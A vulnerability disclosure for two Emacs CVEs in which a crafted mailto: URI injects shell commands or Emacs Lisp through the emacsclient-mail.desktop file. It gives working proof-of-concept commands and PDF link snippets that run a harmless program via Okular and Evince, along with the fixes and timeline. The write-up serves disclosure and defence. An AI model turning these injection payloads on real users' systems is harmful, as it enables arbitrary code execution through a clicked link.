Shell command and Emacs Lisp injection in emacsclient-mail.desktop
Published:
Updated:
Shell command injection and Emacs Lisp injection vulnerabilities in one of the Emacs Desktop Entry (emacsclient-mail.desktop) leading to arbitrary code execution through a crafted mailto:
URI.
One of the Emacs Desktop Entry (emacsclient-mail.desktop
) is vulnerable to shell command injection and Emacs Lisp injection through a crafted mailto:
URI. This can for example be exploited by a remote attacker through a hyperlink in a malicious PDF (as demonstrated using Evince and Okular). This can be used to execute arbitrary code on the user's behalf.
Vulnerability | CVE | Affected | Fixed in |
---|---|---|---|
Shell command injection through emacsclient-mail.desktop | CVE-2023-27985 | 28.1 to 28.x | 29.0.90 |
Emacs Lisp injection through emacsclient-mail.desktop | CVE-2023-27986 | 28.1 to 28.x | 29.0.90 |
Shell command injection
The Desktop entry (emacsclient-mail.desktop
) is as follows:
[Desktop Entry]
Categories=Network;Email;
Comment=GNU Emacs is an extensible, customizable text editor - and more
Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\\\(message-mailto\\\\ \\\\\\"%u\\\\\\"\\\\)"
Icon=emacs
Name=Emacs (Mail, Client)
MimeType=x-scheme-handler/mailto;
NoDisplay=true
Terminal=false
Type=Application
Keywords=emacsclient;
Actions=new-window;new-instance;
# ...
The Exec
stanza is vulnerable to injection of shell commands and Emacs Lisp code.
The shell command injection may be demonstrated on KDE with the following command:
kde-open "mailto:foo@example.com:\$(xterm -e nyancat)"
This executes the following shell command:
exec emacsclient --alternate-editor= --display="$DISPLAY" --eval \(message-mailto\ \"mailto:foo@example.com:$(xterm -e nyancat)\"\)
which in turns executes:
xterm -e nyancat
This may for example be triggered from Okular under KDE (i.e., through kde-open
). Clicking on a malicious URI contained in a malicious PDF results in the execution of the embedded shell command:
XDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 okular test.pdf
XDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 xdg-open "mailto:foo@example.com:\$(xterm -e nyancat)"
With a PDF containing such a snippet:
4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com:\$(xterm -e nyancat))>>
endobj
This has been introduced by commit b1b05c82. This has beed fixed in commit d3209119 as part of Emacs Bug #60204 (though the security impact of this bug was not noticed at this point):
Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$1\\\\\\")\\"" sh %u
This vulnerability has been observed with:
- Debian Testing;
- GNU Emacs 28.2;
- xdg-utils (xdg-ooen) 1.1.3-4.1;
- KDE Plasma Desktop (5.27.0-1);
- Okular 22.12.1
kde-open
4:5.27.0-1
Emacs Lisp injection
This patch fixes the shell command injection. However, it is still vulnerable to Emacs Lisp injection resulting to arbitrary code execution.
The new Exec
stanza in the desktop entry is:
Exec=sh -c "exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$1\\\\\\")\\"" sh %u
Any of these commands demonstrate Emacs Lisp injection and trigger the execution of an external program:
gio open 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"'
XDG_CURRENT_DESKTOP=GNOME3 xdg-open 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")")'
This executes the following shell command:
sh -c "exec emacsclient --alternate-editor= --display=\"$DISPLAY\" --eval \"(message-mailto \\\"$1\\\")\"" \
sh 'mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"'
This executes the following Lisp code:
(message-mailto "mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")"")
which triggers a shell command:
xterm -e nyancat
Note: evaluation of the inner code
For some reason on some installations, the inner code (shell-command-to-string
) is not evaluated apparently because the number of arguments for message-mailto
is not correct: (wrong-number-of-arguments message-mailto 3)
.
While this works:
(message-mailto (shell-command-to-string"xterm -e nyancat"))
This does not work:
(message-mailto "mailto:foo@example.com" (shell-command-to-string"xterm -e nyancat"))
I don't know why this happens.
This can be triggered from Evince under GNOME (i.e. through gio open
):
XDG_CURRENT_DESKTOP=GNOME3 evince test.pdf
With a PDF containing such a snippet:
4 0 obj
<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com"(shell-command-to-string"xterm -e nyancat")")>>
>>
endobj
This is fixed in commit 3c1693d08b0a71d40a77e7b40c0ebc42dca2d2cc:
# We want to pass the following commands to the shell wrapper:
# u=${1//\\/\\\\}; u=${u//\"/\\\"}; exec emacsclient --alternate-editor= --display="$DISPLAY" --eval "(message-mailto \"$u\")"
# Special chars '"', '$', and '\' must be escaped as '\\"', '\\$', and '\\\\'.
Exec=bash -c "u=\\${1//\\\\\\\\/\\\\\\\\\\\\\\\\}; u=\\${u//\\\\\\"/\\\\\\\\\\\\\\"}; exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$u\\\\\\")\\"" bash %u
This fix was later modified in commit c8ec0017 in order to avoid depending on bash:
Exec=sh -c "u=\\$(echo \\"\\$1\\" | sed 's/[\\\\\\"]/\\\\\\\\&/g'); exec emacsclient --alternate-editor= --display=\\"\\$DISPLAY\\" --eval \\"(message-mailto \\\\\\"\\$u\\\\\\")\\"" sh %u
This vulnerability has been observed with:
- Debian Testing;
- GNU Emacs 28.2;
- xdg-utils (xdg-open) 1.1.3-4.1;
- GNOME 4.0-1;
- Evince 43.1-2+b1
gio open
2.74.5-1
Conclusion
It is interesting that in this case, the vulnerablity was introduced by the Desktop Entry file. The security impact of such files may easily be overlooked.
Timeline
- 2023-03-02, Reported to maintainers
- 2023-03-02, Confirmation by maintainers
- 2023-03-07/08, Development of mitigations
- 2023-03-08, Disclosure
- 2023-03-08, CVEs assigned by MITRE
- 2023-04-10, Emacs 29.0.90 pretest is available containing the fix
References
- Emacs Bug #60204 ~ Invalid Exec key in etc/emacsclient-mail.desktop
- CVE-2023-27985
- CVE-2023-27986
- emacs-devel mailing-list thread about this
Appendix, some notes about file and URI handlers
You can modify the default Desktop entry used for a given URI scheme (or MIME type) by editing ~/.config/mimeapps.list
.
The following commands may be used to invoke programs to handle files and/or URIs:
xdg-open
is script which delegates to several of the other programs mentionned here depending on the desktop environment,kde-open
andkde-open5
are used under KDE;kfmclient exec
is used under old versions of KDE;dde-open
is used under Deepin;enlightenment_open
is used under Enlightenment;gio open
is used under GNOME;gvfs-open
is used under GNOME as well;gnome-open
is used under GNOME as well;exo-open
is used under XFCE;mimeopen
is a Perl utility;dex
is a utility for Desktop entries.